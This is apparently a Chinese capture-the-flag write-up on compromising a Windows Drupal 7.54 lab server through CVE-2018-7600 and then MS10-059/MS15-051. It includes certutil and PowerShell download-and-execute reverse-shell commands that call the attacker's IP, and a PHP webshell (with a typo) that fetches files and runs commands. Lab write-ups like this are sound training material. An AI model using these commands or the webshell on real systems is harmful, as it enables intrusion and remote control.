解题时间: 2021-09-05
机器作者: ch4p
困难程度: MEDIUM
MACHINE TAGS:
* PHP
* External
* Drupal
* Penetration Tester Level 3
* OS Command Injection
* CVE-2018-7600
* A03:2021-Injection
* Network
* Python
* CVE Exploitation
* CVE-2015-1701
* Public Vulnerabilities
* OSCP
通过对目标服务器的开放服务进行枚举,发现部署了 Drupal 开源应用,浏览开发残留文件确认版本为 7.54,利用已公开的 RCE 漏洞验证工具成功获得目标服务器的立足点。
将本地权限提升漏洞的缺失软件补丁验证的 PowerShell 脚本传递至目标服务器运行,最终使用 Chimichurri 完成了权限提升。
老样子,开局使用 NMAP 对目标服务器进行端口识别:
# nmap -p- -n -Pn -sC --min-rate 2000 -oA portscan -v 10.10.10.9
PORT STATE SERVICE
80/tcp open http
|_http-favicon: Unknown favicon MD5: CF2445DCB53A031C02F9B57E2199BC03
|_http-generator: Drupal 7 (http://drupal.org)
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-title: Welcome to 10.10.10.9 | 10.10.10.9
135/tcp open msrpc
49154/tcp open unknown
从扫描信息中可以看到只对外暴漏了两个端口,运行在 80 端口上的 Web 服务是 Drupal 7,一个 PHP 运行的站点。
通过查看 HTTP 请求的回显 header,可以知悉站点整体部署环境(Windows+IIS 7.5+PHP/5.3.28):
HTTP/1.1 200 OK
Cache-Control: no-cache, must-revalidate
Content-Language: en
Content-Length: 0
Content-Type: text/html; charset=utf-8
Date: Sun, 05 Sep 2021 11:05:45 GMT
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Server: Microsoft-IIS/7.5
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Generator: Drupal 7 (http://drupal.org)
X-Powered-By: PHP/5.3.28
X-Powered-By: ASP.NET
站点的源代码是开源的,可以在 https://github.com/droope/droopescan.git 中浏览目录结构,在 /CHANGELOG.txt 路径中可以找到当前站点的运行版本为 7.54。
根据这一信息很快找到了 RCE 工具,并通过运行它得到目标服务器的立足点:
https://github.com/dreadlocked/Drupalgeddon2
对应的利用可以在代码 gen_evil_url() 方法中看到,通过验证传递到页面输出的随机字符串进行 vul 验证。
上面通过工具得到的是一个 WebShell,随后通过 MSF 生成一个 tcp 的 Reverse Shell 客户端并将其传递至目标服务器运行。
certutil -urlcache -f http://10.10.17.64/9901.exe 9901.exe
在 C:\inetpub\drupal-7.54\sites\default\settings.php
文件中,找到本地数据库连接信息,但它并没有对后续提权产生帮助。
在 dimitris 用户下获得了 user flag:
查看系统信息时发现是 Microsoft Windows Server 2008 R2 Datacenter
版本,距今为止已经算是比较老的了,应该很容易存在权限提升的漏洞。随后传递工具进行验证:
可以看到没有安装漏洞补丁的,这里使用 MS10-059 进行提权。
https://github.com/Re4son/Chimichurri/
通过 SMB 服务将工具传递至目标服务器,随后运行它反弹 NC 就得到了 system shell。
最快找利用工具的方式应该是通过 exploit-db 工具,而我却搜了半天的 GITHUB....囧
$ searchsploit Drupal 7 Remote Code Execution
通过 powershell 进行文件传递和后渗透:
[email protected] # echo "Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.14 -Port 443" >> ./shell.ps1
CMD > powershell iex(new-object net.webclient).downloadstring('http://10.10.14.14/shell.ps1')CMD > echo iex(new-object net.webclient).downloadstring('http://10.10.14.14/Sherlock.ps1') | Powershell -NoProfile -
0xdf 用了较新的 MS15-051 :
https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS15-051/MS15-051-KB3045171.zip
IPPSEC 则是在后渗透中使用的 PowerUp.ps1
、Sherlock.ps1
,随后写了个简单的 PHPShell 工具:
<?php
if (isset($_REQUERT['fupload'])){
file_put_contents($_REQUERT['fupload'], file_get_contents("http://<ip>/" . $_REQUERT['fupload']));
}
if (isset($_REQUERT['fexec'])){
echo "<pre>" . shell_exec($_REQUERT['fexec']) . "</pre>";
}
这是个很好的思路,很多 WebShell 脚本都是这样编写的只是你熟悉语法就可以很好的进行自定义的筛减、精简。这在特定的条件下如目标服务器没有类似 wget、curl 等这命令时进行文件传递,进行快速的攻击行为验证时特别有效。